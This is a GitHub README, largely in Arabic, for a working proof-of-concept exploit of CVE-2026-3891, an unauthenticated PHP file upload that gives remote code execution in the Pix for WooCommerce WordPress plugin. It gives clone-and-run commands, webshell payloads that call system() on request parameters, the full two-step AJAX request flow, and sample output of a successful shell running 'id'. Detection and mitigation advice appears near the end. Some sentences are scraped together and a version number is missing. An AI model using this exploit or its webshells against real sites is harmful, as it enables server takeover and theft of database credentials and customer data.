
PoC for CVE-2026-3891 – Unauthenticated File Upload RCE in Pix for WooCommerce ≤ 1.5.0. Automated nonce retrieval, PHP upload, and command execution.
إثبات المفهوم (PoC) لثغرة CVE-2026-3891 – رفع ملفات تعسفي غير مصادَق عليه يؤدي إلى تنفيذ كود عن بُعد في إضافة Pix for WooCommerce لووردبريس (الإصدارات ≤ 1.5.0).
CVE-2026-3891 هي ثغرة حرجة في إضافة Pix for WooCommerce وتؤثر على جميع الإصدارات حتى . تفشل الإضافة في فرض التحقق السليم من الصلاحيات وأنواع الملفات في معالج AJAX الخاص بها . يمكن للمهاجم غير المصادَق عليه استغلال هذا الخلل لرفع ملفات PHP تعسفية إلى دليل يمكن الوصول إليه علنًا وتحقيق تنفيذ كود عن بُعد على خادم ووردبريس المستهدف.
lkn_pix_for_woocommerce_c6_save_settingsيحتوي هذا المستودع على PoC بجودة إنتاجية يعمل على أتمتة سلسلة الهجوم بالكامل – من جلب nonce صالح إلى رفع webshell – مع معالجة قوية للأخطاء وواجهة CLI أنيقة.
certificate_crt_path الذي يتوقعه المعالج المعرّض للخطر.--check).[ * ] و [ + ] و [ - ] و [ ! ] لسهولة القراءة الفورية.يكمن السبب الجذري في إجراءين (actions) لـ AJAX تسجلهما الإضافة:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
هذا الإجراء مرتبط بـ wp_ajax_nopriv_*، مما يجعله متاحًا للزوار غير المصادَق عليهم. يولّد nonce لإجراء lkn_pix_for_woocommerce_c6_settings_nonce ويعيده داخل غلاف JSON:
{"success":true,"data":{"nonce":"abc123..."}}
لا يتم إجراء أي فحص صلاحيات أو مصادقة للمستخدم – يمكن لأي شخص طلب nonce صالح.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
يحفظ هذا المعالج إعدادات الإضافة، بما في ذلك حقل رفع ملفات باسم certificate_crt_path. وعلى الرغم من أن الرفع يتم عبر الدالة المساعدة media_handle_upload الخاصة بووردبريس، إلا أن الإضافة لا:
current_user_can)..php).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
ولأن الـ nonce يحمي فقط من CSRF ويمكن لأي شخص الحصول عليه، يمكن للمهاجم الجمع بين هذين الإجراءين لرفع وتنفيذ كود PHP تعسفي.
www-data أو apache).wp-config.php وبيانات اعتماد قاعدة البيانات وبيانات العملاء.requests (التثبيت عبر pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
لمزيد من التحكم، استخدم خيارات سطر الأوامر:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| الخيار | الوصف | الافتراضي |
|---|---|---|
target (موضعي) | الرابط الأساسي لموقع ووردبريس. | مطلوب |
-f, --filename | اسم ملف PHP المراد رفعه. | woocommerce.php |
-p, --payload | كود PHP المطلوب رفعه. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | مهلة الطلب بالثواني. | 15 |
-r, --retries | الحد الأقصى لمحاولات استرجاع nonce. | 2 |
--no-banner | إخفاء فن ASCII. | (معطّل) |
--no-verify | تخطي فحص الوصول بعد الرفع. | (معطّل) |
--check | تنفيذ id على الـ webshell بعد الرفع. | (معطّل) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. لا حاجة لأي ملف ارتباط (cookie) أو جلسة.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – الـ nonce الذي تم استرجاعه سابقًاcertificate_crt_path – رفع ملف متعدد الأجزاء (multipart) (الحمولة).php وتخزينها دون إعادة تسميتها.بعد نجاح الرفع، يُخزَّن الملف في:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
هذا الدليل يمكن الوصول إليه مباشرة عبر الويب؛ سيتم تنفيذ ملفات PHP إذا كان خادم الويب مهيأً لمعالجتها (وهو الافتراضي للخوادم المُدارة بووردبريس).
certs_c6 (خاصة ملفات مثل woocommerce.php و shell.php وغيرها).admin-ajax.php بالإجراءات المذكورة أعلاه، قادمة من عناوين IP غير موثوقة..../certs_c6/ مع بارامترات استعلام مثل ?cmd=id.راقب سجلات ووردبريس بحثًا عن:
/wp-admin/admin-ajax.php مع action=lkn_pix_for_woocommerce_generate_nonce و action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6. استخدم أداة مراقبة تكامل الملفات (مثل Tripwire أو OSSEC) للتنبيه عند أي تغيير.certs_c6 (مثلًا عبر .htaccess مع php_flag engine off).current_user_can('manage_options') لتوليد الـ nonce، مع تحقق سليم من الـ nonce وفحص صلاحيات لعملية الرفع).هذا المشروع مرخَّص بموجب رخصة MIT – راجع ملف LICENSE للحصول على التفاصيل.
إخلاء مسؤولية: هذه الأداة مخصصة للاختبارات الأمنية المصرَّح بها والاستخدام التعليمي فقط. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ينجم عن هذا البرنامج.
إذا وجدت هذا الـ PoC مفيدًا، ففكر في منحه ⭐ على GitHub ومشاركته بمسؤولية. المساهمات والملاحظات (issues) وطلبات السحب (pull requests) مرحب بها دائمًا!
قرصنة سعيدة! 🛡️